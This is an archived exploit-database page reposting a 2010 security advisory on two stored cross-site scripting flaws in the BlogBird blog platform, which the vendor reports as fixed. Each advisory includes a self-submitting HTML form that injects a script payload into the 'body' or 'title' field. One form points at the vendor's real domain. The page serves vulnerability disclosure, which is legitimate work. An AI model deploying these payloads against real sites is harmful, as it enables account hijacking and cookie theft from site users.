[webapps / 0day] - BlogBird Platform Multiple XSS Vulnerabil
Posted on 27 October 2010
<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>BlogBird Platform Multiple XSS Vulnerabilities | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='BlogBird Platform Multiple XSS Vulnerabilities by High-Tech Bridge . in webapps / 0day | Inj3ct0r - exploit database : vulnerability : 0day : shellcode' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var _gaq = _gaq || [];_gaq.push(["_setAccount", "UA-12725838-1"]);_gaq.push(["_trackPageview"]);(function(){var ga = document.createElement("script"); ga.type = "text/javascript"; ga.async = true;ga.src = ("https:" == document.location.protocol ? "https://ssl" : "http://www") + ".google-analytics.com/ga.js";var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(ga, s);})();</script></head><body><pre>============================================== BlogBird Platform Multiple XSS Vulnerabilities ============================================== Product: BlogBird Vendor: BlogBird ( http://www.blogbird.nl/ ) Vulnerable Version: Current actual version on http://www.blogbird.nl/ Vendor Notification: 13 October 2010 Vulnerability Type: Stored XSS (Cross Site Scripting) Status: Fixed by Vendor Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the blog elements saving script to properly sanitize user-supplied input in "body" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://site/elements/save/2648" method="post" name="main"> <input type="hidden" name="files_id" value="123"> <input type="hidden" name="type" value="posts"> <input type="hidden" name="column" value="col1"> <input type="hidden" name="title" value="post title"> <input type="hidden" name="element" value="post"> <input type="hidden" name="body" value='post text"><script>alert(document.cookie)</script>'> <input type="hidden" name="extended" value=""> <input type="hidden" name="publish" value="1"> <input type="hidden" name="page" value="home"> <input type="hidden" name="author" value="author"> <input type="hidden" name="tags" value=""> </form> <script> document.main.submit(); </script> Solution: Upgrade to the most recent version ----------------------------------------------------------------------------------------------------------------- Vulnerability ID: HTB22646 Reference: http://site/advisory/xss_vulnerability_in_blogbird.html Product: BlogBird Vendor: BlogBird ( http://www.blogbird.nl/ ) Vulnerable Version: Current actual version on http://www.blogbird.nl/ Vendor Notification: 13 October 2010 Vulnerability Type: Stored XSS (Cross Site Scripting) Status: Fixed by Vendor Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the blog setting save script to properly sanitize user-supplied input in "title" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://www.blogbird.nl/settings/save" method="post" name="main"> <input type="hidden" name="title" value='My Blog Title"><script>alert(document.cookie)</script>'> <input type="hidden" name="description" value=""> <input type="hidden" name="keywords" value=""> <input type="hidden" name="language" value="dutch"> <input type="hidden" name="date_format" value=""> <input type="hidden" name="per_page" value="0"> </form> <script> document.main.submit(); </script> Solution: Upgrade to the most recent version # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-10-27]</pre></body></html>
